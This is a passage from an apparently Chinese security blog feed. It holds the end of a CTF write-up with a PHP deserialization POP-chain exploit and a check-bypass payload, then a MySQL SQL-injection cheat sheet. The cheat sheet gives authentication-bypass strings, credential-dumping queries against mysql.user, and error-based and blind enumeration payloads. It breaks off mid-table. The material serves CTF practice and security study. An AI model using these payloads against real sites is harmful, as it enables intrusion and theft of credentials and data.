class="variable">$hint</span>;</span><br><span class="line">        <span class="keyword">return</span> ;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$content</span> = <span class="keyword">$this</span>-&gt;Get_hint(<span class="keyword">$this</span>-&gt;filename);</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable">$content</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;hello&#x27;</span>]))&#123;</span><br><span class="line">    unserialize(<span class="variable">$_GET</span>[<span class="string">&#x27;hello&#x27;</span>]);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="variable">$hi</span> = <span class="keyword">new</span>  Start();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>很明显反序列化  pop 链 最终执行  Get_hint file_get_contents 获得 flag</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">__invoke()  &#x2F;&#x2F;当尝试以调用函数的方式调用一个对象时，__invoke() 方法会被自动调用。</span><br><span class="line">__get()  &#x2F;&#x2F;当我们试图获取一个不可达属性时(比如private)，类会自动调用__get函数。</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">start&#x3D;》wakeup&#x3D;》sayhello &#x3D;》Info&#x3D;》toString&#x3D;》this-&gt;room&#x3D;》get &#x3D;&gt;room&#x3D;》invoke</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Start</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$name</span>=<span class="string">&#x27;guest&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$flag</span>=<span class="string">&#x27;syst3m(&quot;cat 127.0.0.1/etc/hint&quot;);&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">info</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$promise</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Room</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$filename</span>=<span class="string">&#x27;/flag&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$sth_to_set</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$a</span>=<span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$info</span> = <span class="keyword">new</span> info();</span><br><span class="line"><span class="variable">$start</span> = <span class="keyword">new</span> start();</span><br><span class="line"><span class="variable">$room</span> = <span class="keyword">new</span> Room();</span><br><span class="line"><span class="variable">$start</span>-&gt;name = <span class="variable">$info</span>;</span><br><span class="line"><span class="variable">$start</span>-&gt;name-&gt;file[<span class="string">&#x27;filename&#x27;</span>]=<span class="variable">$room</span>;</span><br><span class="line"><span class="variable">$room</span>-&gt;a = <span class="keyword">new</span> room();</span><br><span class="line"><span class="keyword">echo</span> serialize(<span class="variable">$start</span>);</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">$st=new Start();</span></span><br><span class="line"><span class="comment">$st-&gt;name=new info();</span></span><br><span class="line"><span class="comment">$st-&gt;name-&gt;file[&#x27;filename&#x27;]=new Room();</span></span><br><span class="line"><span class="comment">$st-&gt;name-&gt;file[&#x27;filename&#x27;]-&gt;a=new Room();</span></span><br><span class="line"><span class="comment">print_r(serialize($st));</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure><p>记得要把 开头的 hi 去掉在解码啊～</p><h1 id="0x03-强网先锋寻宝"><a class="markdownIt-Anchor" href="#0x03-强网先锋寻宝">#</a> 0x03 [强⽹先锋] 寻宝</h1><p>key1  常见绕过</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">header(<span class="string">&#x27;Content-type:text/html;charset=utf-8&#x27;</span>);</span><br><span class="line">highlight_file(<span class="keyword">__file__</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">filter</span>(<span class="params"><span class="variable">$string</span></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$filter_word</span> = <span class="keyword">array</span>(<span class="string">&#x27;php&#x27;</span>,<span class="string">&#x27;flag&#x27;</span>,<span class="string">&#x27;index&#x27;</span>,<span class="string">&#x27;KeY1lhv&#x27;</span>,<span class="string">&#x27;source&#x27;</span>,<span class="string">&#x27;key&#x27;</span>,<span class="string">&#x27;eval&#x27;</span>,<span class="string">&#x27;echo&#x27;</span>,<span class="string">&#x27;\$&#x27;</span>,<span class="string">&#x27;\(&#x27;</span>,<span class="string">&#x27;\.&#x27;</span>,<span class="string">&#x27;num&#x27;</span>,<span class="string">&#x27;html&#x27;</span>,<span class="string">&#x27;\/&#x27;</span>,<span class="string">&#x27;\,&#x27;</span>,<span class="string">&#x27;\&#x27;&#x27;</span>,<span class="string">&#x27;0000000&#x27;</span>);</span><br><span class="line">        <span class="variable">$filter_phrase</span>= <span class="string">&#x27;/&#x27;</span>.implode(<span class="string">&#x27;|&#x27;</span>,<span class="variable">$filter_word</span>).<span class="string">&#x27;/&#x27;</span>;</span><br><span class="line">        <span class="keyword">return</span> preg_replace(<span class="variable">$filter_phrase</span>,<span class="string">&#x27;&#x27;</span>,<span class="variable">$string</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$ppp</span>)&#123;</span><br><span class="line">    <span class="keyword">unset</span>(<span class="variable">$ppp</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$ppp</span>[<span class="string">&#x27;number1&#x27;</span>] = <span class="string">&quot;1&quot;</span>;</span><br><span class="line"><span class="variable">$ppp</span>[<span class="string">&#x27;number2&#x27;</span>] = <span class="string">&quot;1&quot;</span>;</span><br><span class="line"><span class="variable">$ppp</span>[<span class="string">&#x27;nunber3&#x27;</span>] = <span class="string">&quot;1&quot;</span>;</span><br><span class="line"><span class="variable">$ppp</span>[<span class="string">&#x27;number4&#x27;</span>] = <span class="string">&#x27;1&#x27;</span>;</span><br><span class="line"><span class="variable">$ppp</span>[<span class="string">&#x27;number5&#x27;</span>] = <span class="string">&#x27;1&#x27;</span>;</span><br><span class="line"></span><br><span class="line">extract(<span class="variable">$_POST</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$num1</span> = filter(<span class="variable">$ppp</span>[<span class="string">&#x27;number1&#x27;</span>]);        </span><br><span class="line"><span class="variable">$num2</span> = filter(<span class="variable">$ppp</span>[<span class="string">&#x27;number2&#x27;</span>]);        </span><br><span class="line"><span class="variable">$num3</span> = filter(<span class="variable">$ppp</span>[<span class="string">&#x27;number3&#x27;</span>]);        </span><br><span class="line"><span class="variable">$num4</span> = filter(<span class="variable">$ppp</span>[<span class="string">&#x27;number4&#x27;</span>]);</span><br><span class="line"><span class="variable">$num5</span> = filter(<span class="variable">$ppp</span>[<span class="string">&#x27;number5&#x27;</span>]);    </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$num1</span>) &amp;&amp; is_numeric(<span class="variable">$num1</span>))&#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;非数字&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">  </span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$num1</span> &gt; <span class="number">1024</span>)&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;第一层&quot;</span>;</span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$num2</span>) &amp;&amp; strlen(<span class="variable">$num2</span>) &lt;= <span class="number">4</span> &amp;&amp; intval(<span class="variable">$num2</span> + <span class="number">1</span>) &gt; <span class="number">500000</span>)&#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;第二层&quot;</span>;</span><br><span class="line">            <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$num3</span>) &amp;&amp; <span class="string">&#x27;4bf21cd&#x27;</span> === substr(md5(<span class="variable">$num3</span>),<span class="number">0</span>,<span class="number">7</span>))&#123;</span><br><span class="line">                <span class="keyword">echo</span> <span class="string">&quot;第三层&quot;</span>;</span><br><span class="line">                <span class="keyword">if</span>(!(<span class="variable">$num4</span> &lt; <span class="number">0</span>)&amp;&amp;(<span class="variable">$num4</span> == <span class="number">0</span>)&amp;&amp;(<span class="variable">$num4</span> &lt;= <span class="number">0</span>)&amp;&amp;(strlen(<span class="variable">$num4</span>) &gt; <span class="number">6</span>)&amp;&amp;(strlen(<span class="variable">$num4</span>) &lt; <span class="number">8</span>)&amp;&amp;<span class="keyword">isset</span>(<span class="variable">$num4</span>) )&#123;</span><br><span class="line">                    <span class="keyword">echo</span> <span class="string">&quot;第四层&quot;</span>;</span><br><span class="line">                    <span class="keyword">if</span>(!<span class="keyword">isset</span>(<span class="variable">$num5</span>)||(strlen(<span class="variable">$num5</span>)==<span class="number">0</span>)) <span class="keyword">die</span>(<span class="string">&quot;no&quot;</span>);</span><br><span class="line">                    <span class="variable">$b</span>=json_decode(@<span class="variable">$num5</span>);</span><br><span class="line">                        <span class="keyword">if</span>(<span class="variable">$y</span> = <span class="variable">$b</span> === <span class="literal">NULL</span>)&#123;</span><br><span class="line">                                <span class="keyword">if</span>(<span class="variable">$y</span> === <span class="literal">true</span>)&#123;</span><br><span class="line">                                    <span class="keyword">echo</span> <span class="string">&quot;第五层&quot;</span>;</span><br><span class="line">                                    <span class="keyword">include</span> <span class="string">&#x27;KeY1lhv.php&#x27;</span>;</span><br><span class="line">                                    <span class="keyword">echo</span> <span class="variable">$KEY1</span>;</span><br><span class="line">                                &#125;</span><br><span class="line">                        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">                            <span class="keyword">die</span>(<span class="string">&quot;no&quot;</span>);</span><br><span class="line">                        &#125;</span><br><span class="line">                &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">                    <span class="keyword">die</span>(<span class="string">&quot;no&quot;</span>);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">                <span class="keyword">die</span>(<span class="string">&quot;no&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            <span class="keyword">die</span>(<span class="string">&quot;no&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;no111&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ppp[number1]&#x3D;6666a&amp;ppp[number2]&#x3D;1e10&amp;ppp[number3]&#x3D;61823470&amp;ppp[number4]&#x3D;0abcdef&amp;ppp[number5]&#x3D;adada</span><br></pre></td></tr></table></figure><p>第二个文件下载了，提示如下：<br>Mr.Smith 先生和 Tang 在 5 月份的时候在一个画展进行了接触，并且在某些地方写下了一些东西<br>我们将该月有关画展的信息做了汇总，希望你能够从中获取一些信息</p><p>压缩包用可以分段下载器都可以下载</p><p>文件中有五个图片 干扰我好久</p><p>最终发现 key2 以明文形式存在 docx 中</p><p>key2</p><p>贴出寻找脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> osfrom docx <span class="keyword">import</span> Documentpath = <span class="string">r&quot;C:\Users\xxxxx\Desktop\five_month&quot;</span>str_to_search = <span class="string">&quot;KEY2&quot;</span><span class="comment">#input(&quot;请输入要搜索的字段：&quot;)def search_str_in_paragraph(str_to_search, paragraph):        str_index = paragraph.text.index(str_to_search)    return str_indexfor root, dirs, files in os.walk(path, topdown=False):    for file in files:        filename = file.split(&quot;.&quot;)[0]        ext = file.split(&quot;.&quot;)[1]        if ext == &quot;docx&quot;:            doc = Document(os.path.join(root, file))            for paragraph in doc.paragraphs:                if str_to_search in paragraph.text:                    str_index = search_str_in_paragraph(str_to_search, paragraph)                    print(paragraph.text[str_index-10:str_index+10], &quot;-----&quot;, filename, &quot;-----&quot;, os.path.join(root, file))</span></span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/20210615112658756.png" alt="在这里插入图片描述"><br>！[</p><p>](<a href="https://img-blog.csdnimg.cn/20210615112844856.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM0MDk3NDk3,size_16,color_FFFFFF,t_70">https://img-blog.csdnimg.cn/20210615112844856.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM0MDk3NDk3,size_16,color_FFFFFF,t_70</a>)</p><p><img src="https://img-blog.csdnimg.cn/20210615112844856.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM0MDk3NDk3,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述"></p>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="ctf" scheme="http://www.cclss.top/categories/ctf/"/>
    
    
    <category term="ctf" scheme="http://www.cclss.top/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>sql注入</title>
    <link href="http://www.cclss.top/post/ctf_sql/"/>
    <id>http://www.cclss.top/post/ctf_sql/</id>
    <published>2021-05-12T14:10:51.000Z</published>
    <updated>2021-05-12T14:10:51.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h3 id="默认存在的数据库"><a class="markdownIt-Anchor" href="#默认存在的数据库">#</a> 默认存在的数据库：</h3><table><thead><tr><th>mysql</th><th>需要 root 权限读取</th></tr></thead><tbody><tr><td>information_schema</td><td>在 5 以上的版本中存在</td></tr></tbody></table><h3 id="测试是否存在注入方法"><a class="markdownIt-Anchor" href="#测试是否存在注入方法">#</a> 测试是否存在注入方法</h3><p>假：表示查询是错误的 (MySQL 报错 / 返回页面与原来不同)</p><p>真：表示查询是正常的 (返回页面与原来相同)</p><p>共三种情况：</p><table><thead><tr><th style="text-align:left">字符串类型查询时：</th><th style="text-align:left">数字类型查询时：</th><th style="text-align:left">登陆时：</th></tr></thead><tbody><tr><td style="text-align:left">‘假’' 真 &quot;假&quot;&quot; 真 \ 假 \ 真</td><td style="text-align:left">AND 1 真 AND 0 假 AND true 真 AND false 假 1-false 有问题时返回 1 的结果 1-true 有问题时返回 0 的结果 2-1 返回与 1 相同代表可能存在问题 1<em>56 返回与 56 相同代表可能存在问题 1</em>56 返回与 1 相同代表没有问题</td><td style="text-align:left">’ OR ‘1’ OR 1 – -&quot; OR “” = “” OR 1 = 1 – -’=’‘LIKE’’=0–+</td></tr></tbody></table><p>例子:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM Users WHERE id &#x3D; &#39;1&#39;&#39;&#39;;</span><br><span class="line">SELECT * FROM Users WHERE id &#x3D; 3-2;</span><br><span class="line">SELECT * FROM Users WHERE username &#x3D; &#39;Mike&#39; AND password &#x3D; &#39;&#39; OR &#39;&#39; &#x3D; &#39;&#39;;</span><br></pre></td></tr></table></figure><p>可以使用很多单双引号，只要是成对出现。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM Articles WHERE id &#x3D; &#39;121&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;</span><br></pre></td></tr></table></figure><p>引号后的语句会继续执行。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT &#39;1&#39;&#39;&#39;&#39;&#39;&quot;&quot; UNION SELECT &#39;2&#39; # 1 and 2</span><br></pre></td></tr></table></figure><p>下面的符号可以用来注释语句：</p><table><thead><tr><th>#</th><th>Hash 语法</th></tr></thead><tbody><tr><td>/*</td><td>C-style 语法</td></tr><tr><td>– -</td><td>SQL 语法</td></tr><tr><td>;%00</td><td>空字节</td></tr><tr><td>`    | 反引号       |</td></tr></tbody></table><p>例子：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM Users WHERE username &#x3D; &#39;&#39; OR 1&#x3D;1 -- -&#39; AND password &#x3D; &#39;&#39;;</span><br><span class="line">SELECT * FROM Users WHERE id &#x3D; &#39;&#39; UNION SELECT 1, 2, 3&#96;&#39;;</span><br></pre></td></tr></table></figure><h3 id="测试数据库版本"><a class="markdownIt-Anchor" href="#测试数据库版本">#</a> 测试数据库版本</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">VERSION()</span><br><span class="line">@@VERSION</span><br><span class="line">@@GLOBAL.VERSION</span><br></pre></td></tr></table></figure><p>如果版本为 5 的话，下面例子返回为真：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM Users WHERE id &#x3D; &#39;1&#39; AND MID(VERSION(),1,1) &#x3D; &#39;5&#39;;</span><br></pre></td></tr></table></figure><p>windows 平台上的 mysql 查询与 linux 上返回不同，如果是 windows 服务器返回结果会包含 -nt-log 字符。</p><h3 id="数据库认证信息"><a class="markdownIt-Anchor" href="#数据库认证信息">#</a> 数据库认证信息：</h3><table><thead><tr><th>表</th><th>mysql.user</th></tr></thead><tbody><tr><td>字段</td><td>user, password</td></tr><tr><td>当前用户</td><td>user(), current_user(), current_user, system_user(), session_user()</td></tr></tbody></table><p>例子：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SELECT current_user;</span><br><span class="line">SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user &#x3D; &#39;root&#39;-- (Privileged)</span><br></pre></td></tr></table></figure><h3 id="数据库名"><a class="markdownIt-Anchor" href="#数据库名">#</a> 数据库名：</h3><table><thead><tr><th>表</th><th>information_schema.schemata, mysql.db</th></tr></thead><tbody><tr><td>字段</td><td>schema_name, db</td></tr><tr><td>当前数据库</td><td>database(), schema()</td></tr></tbody></table><p>例子：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">SELECT database();</span><br><span class="line">SELECT schema_name FROM information_schema.schemata;</span><br><span class="line">SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)</span><br></pre></td></tr></table></figure><h3 id="服务器主机名"><a class="markdownIt-Anchor" href="#服务器主机名">#</a> 服务器主机名：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">@@HOSTNAME</span><br></pre></td></tr></table></figure><p>例子：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT @@hostname;</span><br></pre></td></tr></table></figure><h3 id="表和字段"><a class="markdownIt-Anchor" href="#表和字段">#</a> 表和字段</h3><h4 id="检测字段数"><a class="markdownIt-Anchor" href="#检测字段数">#</a> 检测字段数</h4><p>两种方式：</p><table><thead><tr><th>ORDER BY 判断</th><th>ORDER BY n+1; 让 n 一直增加直到出现错误页面。 例子：查询语句 SELECT username, password, permission FROM Users WHERE id = ‘1’; 1’ ORDER BY 1–+ 真 1’ ORDER BY 2–+ 真 1’ ORDER BY 3–+ 真 1’ ORDER BY 4–+ 假 - 查询只用了 3 个字段 -1’ UNION SELECT 1,2,3–+ 真</th></tr></thead><tbody><tr><td>基于错误查询</td><td>AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 注意：这种方式需要你知道所要查询的表名。 这种报错方式返回表的字段数，而不是错误的查询语句。 例子： 查询语句 SELECT permission FROM Users WHERE id = 1; AND (SELECT * FROM Users) = 1 返回 Users 的字段数</td></tr></tbody></table><h4 id="查询表名"><a class="markdownIt-Anchor" href="#查询表名">#</a> 查询表名</h4><p>三种方式：</p><table><thead><tr><th>Union 方式</th><th>UNION SELECT GROUP_CONCAT (table_name) FROM information_schema.tables WHERE version=10;-- MySQL 4 版本时用 version=9，MySQL 5 版本时用 version=10</th></tr></thead><tbody><tr><td>盲注</td><td>AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables &gt; ‘A’</td></tr><tr><td>报错</td><td>AND (SELECT COUNT (*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1) x GROUP BY CONCAT ((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR (RAND (0)*2))) (@:=1)||@ GROUP BY CONCAT ((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN (@:=0); AND ExtractValue (1, CONCAT (0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- 在 5.1.5 版本中成功。</td></tr></tbody></table><h4 id="查询列名"><a class="markdownIt-Anchor" href="#查询列名">#</a> 查询列名</h4><table><thead><tr><th>Union 方式</th><th>UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = ‘tablename’</th></tr></thead><tbody><tr><td>盲注</td><td>AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns &gt; ‘A’</td></tr><tr><td>报错</td><td>AND (SELECT COUNT (*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1) x GROUP BY CONCAT ((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR (RAND (0)*2))) (@:=1)||@ GROUP BY CONCAT ((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN (@:=0); AND ExtractValue (1, CONCAT (0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- 在 5.1.5 版本中成功。 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- MySQL 5.1 版本修复了</td></tr><tr><td>利用 PROCEDURE ANALYSE ()</td><td>这个需要 web 展示页面有你所注入查询的一个字段。 例子：查询语句 SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE () 获得第一个段名 1 LIMIT 1,1 PROCEDURE ANALYSE () 获得第二个段名 1 LIMIT 2,1 PROCEDURE ANALYSE () 获得第三个段名</td></tr></tbody></table><h4 id="一次查询多个表或列"><a class="markdownIt-Anchor" href="#一次查询多个表或列">#</a> 一次查询多个表或列</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT (@) FROM (SELECT(@:&#x3D;0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema&gt;&#x3D;@) AND (@)IN (@:&#x3D;CONCAT(@,0x0a,&#39; [ &#39;,table_schema,&#39; ] &gt;&#39;,table_name,&#39; &gt; &#39;,column_name))))x</span><br></pre></td></tr></table></figure><p>例子：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM Users WHERE id &#x3D; &#39;-1&#39; UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:&#x3D;0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema&gt;&#x3D;@) AND (@)IN (@:&#x3D;CONCAT(@,0x0a,&#39; [ &#39;,table_schema,&#39; ] &gt;&#39;,table_name,&#39; &gt; &#39;,column_name))))x), 4--+&#39;;</span><br></pre></td></tr></table></figure><p>输出结果：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[ information_schema ] &gt;CHARACTER_SETS &gt; CHARACTER_SET_NAME [ information_schema ] &gt;CHARACTER_SETS &gt; DEFAULT_COLLATE_NAME [ information_schema ] &gt;CHARACTER_SETS &gt; DESCRIPTION [ information_schema ] &gt;CHARACTER_SETS &gt; MAXLEN [ information_schema ] &gt;COLLATIONS &gt; COLLATION_NAME [ information_schema ] &gt;COLLATIONS &gt; CHARACTER_SET_NAME [ information_schema ] &gt;COLLATIONS &gt; ID [ information_schema ] &gt;COLLATIONS &gt; IS_DEFAULT [ information_schema ] &gt;COLLATIONS &gt; IS_COMPILED</span><br></pre></td></tr></table></figure><p>利用代码：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns</span><br></pre></td></tr></table></figure><p>例子：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT username FROM Users WHERE id &#x3D; &#39;-1&#39; UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;</span><br></pre></td></tr></table></figure><p>输出结果：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Table: talk_revisionsColumn: revidTable: talk_revisionsColumn: useridTable: talk_revisionsColumn: userTable: talk_projectsColumn: priority</span><br></pre></td></tr></table></figure><h4 id="根据列名查询所在的表"><a class="markdownIt-Anchor" href="#根据列名查询所在的表">#</a> 根据列名查询所在的表</h4><table><thead><tr><th>SELECT table_name FROM information_schema.columns WHERE column_name = ‘username’;</th><th>查询字段为 username 的表</th></tr></thead><tbody><tr><td>SELECT 